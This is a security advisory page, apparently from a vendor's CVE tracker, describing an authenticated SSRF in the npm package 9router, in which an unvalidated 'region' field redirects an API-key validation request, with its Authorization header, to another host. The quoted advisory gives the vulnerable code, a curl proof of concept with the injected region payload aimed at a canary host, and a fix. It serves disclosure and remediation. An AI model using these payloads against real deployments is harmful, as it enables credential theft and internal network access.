HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members
  • Sponsor HOL
  • Advertise with HOL

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.
  • CIGARPoint your coding agent at the right lines and cut its token bill by about a third.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.
  • Gauntlet benchmarkGuard tested with real coding agents: safe work runs, risky actions stop.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorFund agreed research, implementation and shared testing through the HOL Partner Program.
  • AdvertiseCompare README logo placements, previews and monthly prices, or promote a plugin or extension.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2026 56678 9router kiro region injection allows
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard

Get HOL Guard for your computer

HOL Guard is a free desktop app that watches what coding agents such as Claude Code, Codex and Cursor run, read and install, and asks you before anything risky happens.

  • Download for macOS
  • Windows download
  • Linux download

Free. macOS 13+ on Apple silicon, Windows x64, Linux AppImage. Other ways to install

Runs on
macOS 13 or later on Apple silicon, Windows x64 and Linux x86_64.
Price
Free. Paid plans add Guard Cloud for teams. See pricing
Where your data stays
On your computer. Guard Cloud is optional.
Token savings
33% to 38% lower spend across three coding agents in our CIGAR benchmark.

HOL

HOL builds open infrastructure for AI agents: HOL Guard, a directory of AI plugins and MCP servers, an AI agent registry and the open HCS standards.

  • GitHub (opens in a new tab)
  • X (Twitter) (opens in a new tab)
  • YouTube (opens in a new tab)
  • Telegram (opens in a new tab)

HOL Guard

  • What is HOL Guard
  • Features
  • Cut coding agent token costs (CIGAR)
  • Install Guard
  • Download the desktop app
  • Pricing
  • Guard for teams
  • Compare Guard
  • Release notes

Guard for your AI tool

  • Guard for Claude Code
  • Guard for Codex
  • Guard for Cursor
  • Guard for GitHub Copilot CLI
  • Guard for OpenCode
  • Guard for Pi and Oh My Pi
  • Guard for Hermes
  • Guard for OpenClaw
  • All supported AI tools

Research and security

  • Gauntlet: Guard tested with real agents
  • CIGAR token benchmark
  • Research
  • AI security hub
  • Security advisories
  • Active CVEs in AI tools
  • AI agent security guides
  • Extensions and coverage

Plugins and MCP servers

  • Browse AI plugins
  • New plugin launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins

AI agent registry

  • Best AI agents
  • Best ERC-8004 agents
  • Best Virtuals agents
  • Best A2A agents
  • Best x402 payable agents
  • Submit an ERC-8004 contract
  • Feature your agent

Developers

  • Guard docs
  • Documentation index
  • Developer hub
  • Registry API reference
  • OpenAPI spec
  • Registry OpenAPI spec
  • Run in Postman (opens in a new tab)
  • HCS standards

Company

  • About HOL
  • Blog
  • Contribute to HOL
  • Guard contributors
  • Sponsor
  • Advertise
  • Affiliate program
  • Contact

Copyright © 2026 HOL DAO LLC. All rights reserved.

  • Privacy
  • Terms of Service
Back to active CVEs
Medium · CVSS 6.4CVE-2026-56678GHSA-6MWV-4MRM-5P3M

9router: Kiro region injection allows authenticated SSRF with Authorization header forwardingCVE-2026-56678

Answer in brief

CVE-2026-56678 records a Medium severity (CVSS 6.4) vulnerability in 9router: Kiro region injection allows authenticated SSRF with Authorization header forwarding. The current sources do not mark it as known exploited. The current feed maps 9router (npm). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Jul 15, 2026Updated Oct 24, 2026Source checked Nov 8, 2026First seen by HOL Jul 15, 2026Material review Oct 24, 2026
Upstream Advisory

Key facts

Risk
Medium · CVSS 6.4
Exploitation
Not marked as known exploited
Affected software
1 mapped package or product
Fix availability
Available

Why this deserves its current priority

CVSS is 6.4. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps 9router (npm). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
9routernpm<=0.5.20.5.6

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for 9router.
  2. 2Review the reported fix. Update 9router to 0.5.6 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Jul 15, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  2. Source modified

    Oct 24, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  3. First seen by HOL

    Jul 15, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • NVD vulnerability recordnvd.nist.gov
Upstream source description

### Summary The Kiro API-key validation endpoint builds an upstream URL using a user-controlled `region` value. By supplying a crafted region such as `kiro-canary.local:8443#`, an authenticated attacker can cause 9router to send the Kiro validation request to an attacker-controlled host under the constructed `codewhisperer.<region>` hostname. The request forwards the submitted Kiro API key as an `Authorization: Bearer` header. ### Details - **Affected version / commit:** 9router v0.5.2 @ `5da508a`. - **Endpoint:** `POST /api/oauth/kiro/api-key`. - **Correct runtime payload:** `region: "kiro-canary.local:8443#"`. - Do **not** use the old `@host#` payload (`region: "@kiro-canary.local:8443#"`); it is blocked by Node/undici `fetch()` because it creates URL credentials (`"Request cannot be constructed from a URL that includes credentials"`). - **Constructed upstream host becomes:** `codewhisperer.kiro-canary.local:8443` (the `#` turns the trailing `.amazonaws.com` into a URL fragment). - HTTPS canary captured: `Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO`. - TLS verification was **not** globally disabled; the reproduction uses a local CA via `NODE_EXTRA_CA_CERTS`. - The no-auth control returns 401, so this standalone issue is **authenticated**. - `SameSite=Lax` on the session cookie prevents cross-site POST cookie delivery, so do **not** claim drive-by CSRF unless another same-site / auth-bypass primitive is chained. **Root cause.** The route reads `region` straight from the request body and passes it, unvalidated, into the upstream URL template; the bearer credential is forwarded to that host, and the upstream response body is reflected back to the client on error: ```js // src/app/api/oauth/kiro/api-key/route.js const { apiKey, region } = await request.json(); ... const credential = await kiroService.validateApiKey(apiKey, region || "us-east-1"); ... } catch (error) { return NextResponse.json({ error: error.message }, { status: 500 }); // reflects upstream body } ``` ```js // src/lib/oauth/services/kiro.js — listAvailableProfiles() const endpoint = `https://codewhisperer.${region}.amazonaws.com`; // region interpolated const response = await fetch(endpoint, { method: "POST", headers: { "x-amz-target": "AmazonCodeWhispererService.ListAvailableProfiles", "Authorization": `Bearer ${accessToken}`, // credential forwarded ... }, body: JSON.stringify({ maxResults: 10 }), }); if (!response.ok) { const error = await response.text(); throw new Error(`Failed to list profiles: ${error}`); // upstream body -> error.message } ``` There is no allowlist on `region`, and the call uses the default fetch dispatcher (no internal-IP denylist / DNS pinning), so a `codewhisperer.<attacker-domain>` that resolves to an internal address (e.g. `169.254.169.254` or RFC1918) would be reached. ### PoC Start the package: ```bash docker compose up --build ``` The endpoint is authenticated, so first obtain a dashboard session using the password configured in `docker-compose.yml` (`INITIAL_PASSWORD`), saving the cookie: ```bash curl -i -c session.txt -X POST http://127.0.0.1:18184/api/auth/login \ -H "Content-Type: application/json" \ -d '{"password":"repro-dashboard-pass"}' ``` Then send the region-injection request with that session cookie: ```bash curl -i -b session.txt -X POST http://127.0.0.1:18184/api/oauth/kiro/api-key \ -H "Content-Type: application/json" \ -d '{"apiKey":"DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO","region":"kiro-canary.local:8443#"}' ``` Expected: - 9router returns a 500 whose body contains a controlled canary marker, indicating the validation request reached the canary and its response was reflected. - `docker compose logs kiro-canary` shows a request with: - `Host: codewhisperer.kiro-canary.local:8443` - `Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO` No-auth control (no session cookie): ```bash curl -i -X POST http://127.0.0.1:18184/api/oauth/kiro/api-key \ -H "Content-Type: application/json" \ -d '{"apiKey":"DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO","region":"kiro-canary.local:8443#"}' ``` Expected: 401 Unauthorized. Safe-region control (`region: "us-east-1"`): no canary hit; the blackholed AWS host is never contacted. ### Impact An authenticated attacker can make the server send a Kiro validation request to an attacker-controlled host and forward the submitted Kiro API key in the Authorization header. This can be used for SSRF and credential forwarding during Kiro API-key validation. The issue is authenticated as a standalone bug. ### Screenshots The following screenshots show the safe-region control, the region-injection SSRF trigger, the HTTPS canary evidence, and the no-auth control. #### 1. Safe-region control — normal Kiro validation path <img width="1548" height="831" alt="01-kiro-safe-region-control" src="https://github.com/user-attachments/assets/0a07d82c-16f0-4af3-97f2-145578c9e47b" /> >**An authenticated request to `/api/oauth/kiro/api-key` using the valid region `us-east-1` and a dummy API key completes normally with `200 OK`. This establishes the expected non-malicious validation path.** #### 2. Region-injection SSRF trigger — canary marker reflected <img width="1547" height="840" alt="02-kiro-region-injection-ssrf-500-reflection" src="https://github.com/user-attachments/assets/f31a1471-ce8b-490c-a439-58089b3ac780" /> >**An authenticated request supplies the crafted region value `kiro-canary.local:8443#`. Because the upstream URL is built from the raw `region` value, the request is routed to the attacker-controlled canary host under the constructed `codewhisperer.<attacker-domain>` hostname. The response contains a canary marker, confirming the server-side request reached the controlled endpoint.** #### 3. HTTPS canary evidence — Authorization header forwarded <img width="1476" height="960" alt="03-kiro-canary-authorization-captured" src="https://github.com/user-attachments/assets/2f445daa-307b-4223-92e8-7482d745d2b1" /> >**The HTTPS canary logs show a server-side request from the 9router container with `Host: codewhisperer.kiro-canary.local:8443` and `Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO`. This confirms that the injected region controls the constructed upstream host and that 9router forwards the submitted Kiro API key to that host.** #### 4. No-auth control — endpoint requires authentication <img width="1544" height="839" alt="04-kiro-no-auth-control-401" src="https://github.com/user-attachments/assets/664955ab-35a3-4c5f-bd5e-bd049f17b0c9" /> >**The same region-injection payload is sent without an authenticated session cookie, and the server returns `401 Unauthorized`. This confirms the issue is authenticated as a standalone vulnerability and should not be described as unauthenticated unless it is chained with a separate authentication bypass.** ### Suggested Fix - Validate `region` against a strict allowlist of known Kiro/AWS regions (e.g. `^[a-z]{2}-[a-z]+-\d$`). - Construct upstream endpoints only from fixed enum values. - Reject region values containing colon, slash, hash, at-sign, userinfo, whitespace, or hostname separators. - After URL construction, validate that the final hostname exactly matches the expected AWS/Kiro hostname pattern. - Do not forward Authorization headers to hosts derived from untrusted input, and stop reflecting upstream response bodies in `error.message`.

Quoted source text, attributed separately from HOL analysis.

Related CVEs

  • Rustls 0.23.13 before 0.23.45 TLS 1.3 Handshake Encryption Level BypassAlso CWE-20

Record context

Vulnerability class
SSRF
EPSS
Not reported
CWE IDs
CWE-20, CWE-918
Source
GitHub Security Advisories
Source checked
Nov 8, 2026
References
5 linked sources
Open source record